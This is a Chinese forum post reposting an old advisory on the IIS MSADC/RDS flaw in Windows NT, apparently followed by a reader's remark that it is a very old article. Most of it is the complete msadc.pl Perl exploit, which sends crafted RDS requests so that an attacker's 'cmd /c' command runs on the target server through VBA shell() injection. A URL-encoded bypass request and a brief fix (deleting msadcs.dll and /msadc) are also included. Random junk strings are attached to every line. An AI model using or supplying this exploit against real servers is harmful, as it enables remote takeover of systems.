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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) *+zFsu4l  
T*mR9 8i  
涉及程序: !yT=*Cj4  
Microsoft NT server Y# I8gzv  
K\KQ(N8F  
描述: 2*^=)5Gj-h  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限  [Rub  
YhNrg?nS  
详细: 'zav%}b]L  
如果你没有时间读详细内容的话,就删除: nBd]rak'  
c:\Program Files\Common Files\System\Msadc\msadcs.dll ?mM:oQH+>  
有关的安全问题就没有了。 Qy"%%keV'T  
.wp[uLE  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 ;zze.kb&F  
]KEE+o  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 cWyf04-?  
关于利用ODBC远程漏洞的描述,请参看: xv Xci W  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm @67GVPcxl  
( tq);m&  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 |EdEV*.ej  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp eaNfCXHDN  
wEl7mg !  
这里不再论述。 k>Fw2!mA^  
*z6A ~U  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: U+#^>}wc  
4"Qb^y  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset +zbCYA  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! :R +BC2x  
n7B2rRJH  
lK/4"&  
#将下面这段保存为txt文件,然后: "perl -x 文件名" ,aD~7QX1:  
J zFR9DEt  
#!perl *~4<CP+"0  
# o/ 51 RH  
# MSADC/RDS 'usage' (aka exploit) script  AV|:v3  
# {X2uFw Gi  
# by rain.forest.puppy 5D=U.UdR  
# ]@cI_n  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me ZvQZD=,F  
# beta test and find errors! r_+!3   
uH? 4d!G  
use Socket; use Getopt::Std; #g@4c3um|  
getopts("e:vd:h:XR", \%args); ~3Pp}eO~V  
<,it<$f#  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; >Ik%_:CC`  
cUP1Uolvn  
if (!defined $args{h} && !defined $args{R}) { o\ce|Dzt  
print qq~ ?Fl O,|   
Usage: msadc.pl -h <host> { -d <delay> -X -v } 9{ge U9&Z  
-h <host> = host you want to scan (ip or domain) U[Sh){4j  
-d <seconds> = delay between calls, default 1 second <+r~?X_  
-X = dump Index Server path table, if available p5OoDo  
-v = verbose `Ix`/k}  
-e = external dictionary file for step 5 K@DFu5  
<&`Rf6  
Or a -R will resume a command session i;/;zG^=_  
}eA ) m  
~; exit;} =O"l/\c^  
Drf Au  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; #@w/S:KbJt  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} pYm#iz  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 7O%^4D  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); ooB9i No^  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} =`>ei  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 6:8Nz   
kG9aH Ww  
if (!defined $args{R}){ $ret = &has_msadc; >EA\KrjW  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} tUZfQ  
G9xO>Xp^Al  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" ZwY mR=  
. "cmd /c "; js;YSg{m  
$in=<STDIN>; chomp $in; ,4XOe,WQ  
$command="cmd /c " . $in ; ,Xn %0]  
c;]^aaQ+>  
if (defined $args{R}) {&load; exit;} >ySO.S  
7JuHa /Mv  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; R>~I8k9mM  
&try_btcustmr; E}F-*go  
[-"ZuUG  
print "\nStep 2: Trying to make our own DSN..."; :6%ivS  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 8[t*VIXI  
hT_Q_1,  
print "\nStep 3: Trying known DSNs..."; k^ fW /  
&known_dsn; g,o46`6"  
8 l= EL7  
print "\nStep 4: Trying known .mdbs..."; 'byTM?Sp{  
&known_mdb; (RrC<5"  
o(> #}[N}  
if (defined $args{e}){ Z  eY *5m  
print "\nStep 5: Trying dictionary of DSN names..."; 1#;^ Z3  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } =_3rc\0  
b&QI#w  
print "Sorry Charley...maybe next time?\n"; SYQP7oG9oQ  
exit; KRn[(yr`%  
yKK9b  
############################################################################## @].!}tz  
xzfugW  
sub sendraw { # ripped and modded from whisker XV4aR3n{Q  
sleep($delay); # it's a DoS on the server! At least on mine... }X=c|]6i^  
my ($pstr)=@_; #PPHxh*S  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || *wX[zO+o  
die("Socket problems\n"); [AIqKyIr  
if(connect(S,pack "SnA4x8",2,80,$target)){ 9m_~Zs}Z  
select(S); $|=1; w8 N1-D42  
print $pstr; my @in=<S>; Y`$\o  
select(STDOUT); close(S); LfU? 1:Du  
return @in; xe(7q1   
} else { die("Can't connect...\n"); }} g2^{+,/^K  
v@2@9/  
############################################################################## %qE"A6j  
@}wa Z?'  
sub make_header { # make the HTTP request +>2.O2)%q  
my $msadc=<<EOT   < /5  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 wL]#]DiE  
User-Agent: ACTIVEDATA snu?+*6  
Host: $ip 7F]Hq  
Content-Length: $clen E+e),qsbO  
Connection: Keep-Alive /zQx}U)TP  
lfd-!(tXD  
ADCClientVersion:01.06 Jy "\_Vv l  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 20haA0s  
yt,Ky8y1  
--!ADM!ROX!YOUR!WORLD! U7g,@/Qx  
Content-Type: application/x-varg q(R|3l^6T  
Content-Length: $reqlen w@6y.v1I{  
#j+cl'  
EOT .!lLj1?p  
; $msadc=~s/\n/\r\n/g; ,!,M'<?"  
return $msadc;} =oiz@Q@H  
o$U{.#  
############################################################################## qe e_wx  
cH:&S=>h  
sub make_req { # make the RDS request i PG:w+G  
my ($switch, $p1, $p2)=@_; 'L9hM.+  
my $req=""; my $t1, $t2, $query, $dsn; o@[o6.B<  
#4"eQ*.*"  
if ($switch==1){ # this is the btcustmr.mdb query Sd.Km a  
$query="Select * from Customers where City=" . make_shell(); (~5]1S}F  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . umAO&S.+M  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 8cMX=P  
`)KGajB  
elsif ($switch==2){ # this is general make table query MF*4E9Ue.  
$query="create table AZZ (B int, C varchar(10))"; |)0Ta 9~  
$dsn="$p1";} (n2_HePE  
3,*A VcQA  
elsif ($switch==3){ # this is general exploit table query vd$>nJ"  
$query="select * from AZZ where C=" . make_shell();  4m=0e  
$dsn="$p1";} B`3z(a92S  
M0)0~#?.D  
elsif ($switch==4){ # attempt to hork file info from index server c(b`eUOO  
$query="select path from scope()"; r~oUln<[  
$dsn="Provider=MSIDXS;";} -ULgVGYKK  
dWi.V?K4z  
elsif ($switch==5){ # bad query L*4= b (3  
$query="select"; X_bB6A6  
$dsn="$p1";} 8WpNlB+:{  
\h0+` ;Q  
$t1= make_unicode($query); M%Vp_ 0  
$t2= make_unicode($dsn); OUO'w6m!  
$req = "\x02\x00\x03\x00"; + !nf?5;  
$req.= "\x08\x00" . pack ("S1", length($t1)); &t_TLV 8T  
$req.= "\x00\x00" . $t1 ; Vu4LC&q  
$req.= "\x08\x00" . pack ("S1", length($t2)); 63$`KG3  
$req.= "\x00\x00" . $t2 ; K&gE4;>  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; 'gD./|Z0  
return $req;} Qz2jV  
+u5xK  
############################################################################## "A~D(1K  
5 I#-h<SG  
sub make_shell { # this makes the shell() statement DR]oK_  
return "'|shell(\"$command\")|'";} #}~?8/h!  
5 /oW/2"  
############################################################################## #u\~AO?h  
rxJl;!7G  
sub make_unicode { # quick little function to convert to unicode S+mBVk"-~S  
my ($in)=@_; my $out; I1dOMu9  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Q[H4l({E  
return $out;} s,/C^E  
O ]-8 %  
############################################################################## K*1]P ar;  
0HbCT3g.  
sub rdo_success { # checks for RDO return success (this is kludge) --c)!Vxzx  
my (@in) = @_; my $base=content_start(@in); L >hLYIW  
if($in[$base]=~/multipart\/mixed/){ FLkZZ\  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} <Zfh5AM  
return 0;} |\| v%`r2  
R{aqn0M  
############################################################################## 0A8G8^T  
$DnJ/hg;qD  
sub make_dsn { # this makes a DSN for us !B9 Yw/Ba  
my @drives=("c","d","e","f"); H ]](xYy.  
print "\nMaking DSN: "; 9q&~!>lt  
foreach $drive (@drives) { gF2 93Ez  
print "$drive: "; Q4S:/"*v8  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . +R{~%ZTK  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" .>_%12>  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); opzlh@R 3  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; _o+OkvhU  
return 0 if $2 eq "404"; # not found/doesn't exist 8)Vl2z  
if($2 eq "200") { qAlX#]  
foreach $line (@results) { HB.:/ 5\  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} -sDl[  
} return 0;} gdyWuOxa|  
Zm6jF  
############################################################################## &H}Xk!q5b^  
W&I:z-VH  
sub verify_exists { GGZ9DC\{  
my ($page)=@_; .]<gm9l  
my @results=sendraw("GET $page HTTP/1.0\n\n"); x1Gc|K/-  
return $results[0];} |A0U 3$S=  
ajkpU.6E:  
############################################################################## d5{RIM|  
DM\pi9<m  
sub try_btcustmr {  ggfCfn  
my @drives=("c","d","e","f"); @cx#'  
my @dirs=("winnt","winnt35","winnt351","win","windows"); heb{i5el  
!V4(- 8  
foreach $dir (@dirs) { vYo~36  
print "$dir -> "; # fun status so you can see progress m|]"e@SF2  
foreach $drive (@drives) { r9D 68*H  
print "$drive: "; # ditto *`Ge8?qC  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; *lheF>^  
$reqlenlen=length( "$reqlen" ); NNJQDkO-I  
$clen= 206 + $reqlenlen + $reqlen; +OSSgY$  
j!0-3YKv  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); x%W~@_  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} ds{)p<LpT  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} l6MBnvi   
q!h'rX=_-  
############################################################################## PBL=P+  
;uZeYY?   
sub odbc_error { ye}86{l  
my (@in)=@_; my $base; J~ *>pp#U  
my $base = content_start(@in); "/taatcH  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this B~O<?@]d  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; *N6sxFs  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; U` )d `4"  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; tpgD{BY^wJ  
return $in[$base+4].$in[$base+5].$in[$base+6];} b`;&o^7gMO  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; g]?>6 %#rA  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . ,d^HAg^j  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} <<@F{B7h  
/7.//klN  
############################################################################## +*e Vi3  
<0Gk:NB,  
sub verbose { -xyY6bxL  
my ($in)=@_; ybIqn0&[  
return if !$verbose; Udjn.D  
print STDOUT "\n$in\n";} jG#e% `'  
gS|6,A9  
############################################################################## rTST_$"_6  
%hz5)  
sub save { Y%(8'Ch  
my ($p1, $p2, $p3, $p4)=@_; Q5 o0!w  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; YCdtf7P=q  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Y|KT3  
close OUT;} z\WyL;  
l @E {K|  
############################################################################## br?pfs$U  
f&Juq8s_0  
sub load { lXVh`+X/l  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; - Sn]`  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); B_3N:K Y 9  
@p=<IN>; close(IN); PT4iy<  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); '@^mesMG  
$target= inet_aton($ip) || die("inet_aton problems"); \r3SvBwhFv  
print "Resuming to $ip ..."; diKl}V#u  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; q$<VLrx  
if($p[1]==1) { "5\6`\/  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; }/L#<n`Z  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; *A0d0M]cg  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); R|*Eg,1g -  
if (rdo_success(@results)){print "Success!\n";} vnlHUQLO  
else { print "failed\n"; verbose(odbc_error(@results));}} t7e7q"+/  
elsif ($p[1]==3){ ow'CwOj$  
if(run_query("$p[3]")){ %w/vKB"nO  
print "Success!\n";} else { print "failed\n"; }} m1sV~"v;  
elsif ($p[1]==4){ hw B9N  
if(run_query($drvst . "$p[3]")){ pqohLA  
print "Success!\n"; } else { print "failed\n"; }} !bn=b>+  
exit;} &}#zG5eu  
&hM7y7  
############################################################################## 9!dG Xq  
+z~bH!$2  
sub create_table { z6Nz)$!_i  
my ($in)=@_; J)H*tzg  
$reqlen=length( make_req(2,$in,"") ) - 28; TCkMJs?  
$reqlenlen=length( "$reqlen" ); Dh68=F0  
$clen= 206 + $reqlenlen + $reqlen; J7kqyo"  
my @results=sendraw(make_header() . make_req(2,$in,"")); F84<='K  
return 1 if rdo_success(@results); tU.~7f#+A  
my $temp= odbc_error(@results); verbose($temp); {]4Zpev  
return 1 if $temp=~/Table 'AZZ' already exists/; OgzKX>N`A  
return 0;} gA]3h8%w  
*(Z\ "o!  
############################################################################## GgtYO4,  
$h  >rs  
sub known_dsn { ~bw=;xF{3  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go wF*9%K'E  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", "9NWsy}<c  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", K}Q:L(SSr\  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); Fj`K$K?  
{_Fh3gjb/  
foreach $dSn (@dsns) { Ia[<;":U  
print "."; mPo.Z"uy7  
next if (!is_access("DSN=$dSn")); gzDfx&.0  
if(create_table("DSN=$dSn")){ |[)pQGw  
print "$dSn successful\n"; ?YF2Uc8z%2  
if(run_query("DSN=$dSn")){ Z~;rp`P  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { K[Vj+qdyl  
print "Something's borked. Use verbose next time\n";}}} print "\n";} {}H/N   
>H,E3Z  
############################################################################## ofs'xs1C  
ZsP>CELm@  
sub is_access { CSBDSz  
my ($in)=@_; NLt"yD3t  
$reqlen=length( make_req(5,$in,"") ) - 28; 0W)|n9  
$reqlenlen=length( "$reqlen" ); +$#h6V  
$clen= 206 + $reqlenlen + $reqlen; Q5Epq sKyC  
my @results=sendraw(make_header() . make_req(5,$in,"")); kR8,E6Up  
my $temp= odbc_error(@results); 5? f!hB|6  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); EZZE(dq@gf  
return 0;} oE,TA2  
1So`]N4  
############################################################################## "z-tL  
rrG}; A  
sub run_query { RW<4",  
my ($in)=@_; &<- S-e  
$reqlen=length( make_req(3,$in,"") ) - 28; UUGX@  
$reqlenlen=length( "$reqlen" ); FgMQ=O2  
$clen= 206 + $reqlenlen + $reqlen; bicbCC6kC  
my @results=sendraw(make_header() . make_req(3,$in,"")); $dsLU5]1o  
return 1 if rdo_success(@results); /RWD\u<l  
my $temp= odbc_error(@results); verbose($temp); 4rpry@1  
return 0;} SErh"~[  
~G.MaSm  
############################################################################## [i_evsUj?  
v]T?xo~@'  
sub known_mdb { ^E".`~R  
my @drives=("c","d","e","f","g"); rkz84wDx  
my @dirs=("winnt","winnt35","winnt351","win","windows"); vTC{  
my $dir, $drive, $mdb; CXTt N9N9  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; $h5QLN  
J.]`l\  
# this is sparse, because I don't know of many  %Nx,ZD@  
my @sysmdbs=( "\\catroot\\icatalog.mdb", 7t/Y5Qf  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ZWKvz3Wt  
"\\system32\\certmdb.mdb", 3jHE,5m  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% A f}o/g  
Zu94dFP  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", PO ,zP9  
"\\cfusion\\cfapps\\forums\\forums_.mdb", 3r[ s_Y*  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", O,#,`2Qc  
"\\cfusion\\cfapps\\security\\realm_.mdb", U(%6ny  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", J'yCVb)V  
"\\cfusion\\database\\cfexamples.mdb", 0:c3aq&u  
"\\cfusion\\database\\cfsnippets.mdb", gLK0L%"5  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", s}bLA>~Ta  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", $"MGu^0;1  
"\\cfusion\\brighttiger\\database\\cleam.mdb", sH]T1z  
"\\cfusion\\database\\smpolicy.mdb", LZQG.  
"\\cfusion\\database\cypress.mdb", ?A-f_0<0  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", ScmwHid:\  
"\\website\\cgi-win\\dbsample.mdb", FRXaPod  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", ? ?("0U  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" ant2];0p  
); #these are just #c~- 8=  
foreach $drive (@drives) { l8e)|MSh  
foreach $dir (@dirs){ { _Y'%Ggh  
foreach $mdb (@sysmdbs) { \C{Zqo,  
print "."; /)<kG(Z  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ zjzEmX  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; -z%->OUu  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ KEf1GU6s  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; NLUiNfCR  
} else { print "Something's borked. Use verbose next time\n"; }}}}} tTh4L8fO  
&-m}w:j=  
foreach $drive (@drives) { at1 oxmy  
foreach $mdb (@mdbs) { uuL(BUGt-  
print "."; a %?v/Ku  
if(create_table($drv . $drive . $dir . $mdb)){ q d:"LS  
print "\n" . $drive . $dir . $mdb . " successful\n"; ?yu@eo  
if(run_query($drv . $drive . $dir . $mdb)){ <&bBE"U4  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; (0rcLNk{|  
} else { print "Something's borked. Use verbose next time\n"; }}}} 8G3.bi'q   
} )}Cf6 m}  
yw1Xxwc  
############################################################################## :)h4SD8Y  
P/Y)Yx_(  
sub hork_idx { ac1(lD  
print "\nAttempting to dump Index Server tables...\n"; p\Iy)Y2Lf!  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; \tCK7sBn  
$reqlen=length( make_req(4,"","") ) - 28; x'SIHV4M@Q  
$reqlenlen=length( "$reqlen" ); c5pK%I}O  
$clen= 206 + $reqlenlen + $reqlen; 5'%O]~  
my @results=sendraw2(make_header() . make_req(4,"","")); J/PK #<  
if (rdo_success(@results)){  '{cFr  
my $max=@results; my $c; my %d; 6rO^ p  
for($c=19; $c<$max; $c++){ n#B}p*G  
$results[$c]=~s/\x00//g; w4zp%`?D'  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; L=P8;Gj)  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; dCLNZq h6  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; /+WC6&  
$d{"$1$2"}="";} -lXQQ#V -  
foreach $c (keys %d){ print "$c\n"; } rd"!&i  
} else {print "Index server doesn't seem to be installed.\n"; }} jHObWUX  
B[2t.d;h  
############################################################################## N x^JC_  
E,ooD3$h  
sub dsn_dict { i+lq:St  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); G;U SVF-'K  
while(<IN>){ 0T 0I<t  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; K1-RJj\L  
next if (!is_access("DSN=$dSn")); i~*6JB|  
if(create_table("DSN=$dSn")){ ,mz7!c9H^a  
print "$dSn successful\n"; "hZ `^ "0b  
if(run_query("DSN=$dSn")){ 9NZq k  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { /nEK|.j  
print "Something's borked. Use verbose next time\n";}}} UWdqcOr  
print "\n"; close(IN);}  UF@.  
, 10+Sh  
############################################################################## iTF%}(  
yA7O<p+  
sub sendraw2 { # ripped and modded from whisker \Rha7O  
sleep($delay); # it's a DoS on the server! At least on mine... = \K/ulZo  
my ($pstr)=@_; |:u5R%  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || V9%9nR!'  
die("Socket problems\n"); L:Faq1MG  
if(connect(S,pack "SnA4x8",2,80,$target)){ P$3!4D[  
print "Connected. Getting data"; L3j ~Ooo  
open(OUT,">raw.out"); my @in; S(rnVsW%Ki  
select(S); $|=1; print $pstr; B}aW y&D  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} F)19cKx7  
close(OUT); select(STDOUT); close(S); return @in; Urksj:N  
} else { die("Can't connect...\n"); }} C[;7i!Dv  
F>E_d<m  
############################################################################## zB\ 8<97 C  
W>'gG}.  
sub content_start { # this will take in the server headers  }"q#"s  
my (@in)=@_; my $c; QX_![|=  
for ($c=1;$c<500;$c++) { A.YK=_J  
if($in[$c] =~/^\x0d\x0a/){ W&m3"~BJ  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } kHQn' r6  
else { return $c+1; }}} M R,A{X  
return -1;} # it should never get here actually =w:H9uj6F  
t*Z-]P  
############################################################################## ?wjk=hM2  
0\eSiXs  
sub funky { Cq-99@&;  
my (@in)=@_; my $error=odbc_error(@in); PI8ag  
if($error=~/ADO could not find the specified provider/){ 7JY9#+?p>  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; w2U]RI\?2  
exit;} 2Ns<lh   
if($error=~/A Handler is required/){ UA#=K+2  
print "\nServer has custom handler filters (they most likely are patched)\n"; TBHd)BhI.  
exit;} B E#pHg  
if($error=~/specified Handler has denied Access/){ =Hj3o_g-  
print "\nServer has custom handler filters (they most likely are patched)\n"; -ilhC Y@M  
exit;}} vJW`aN1<I3  
7mb5z/N  
############################################################################## m 7+=w>o  
1o)<23q`)  
sub has_msadc { Ysi@wK-LnF  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); P+3 ]g{2w  
my $base=content_start(@results); DG3Mcf@5  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ADMeOdgca  
return 0;} Q0Gfwl  
c{T)31ldW  
######################## ?w)A`G_  
i_I`  
475jmQ{q  
解决方案: zD s V"D8  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll &d"s cM5  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 % <h2^H\O  
gOaK7A  
拿出来充数 哈哈
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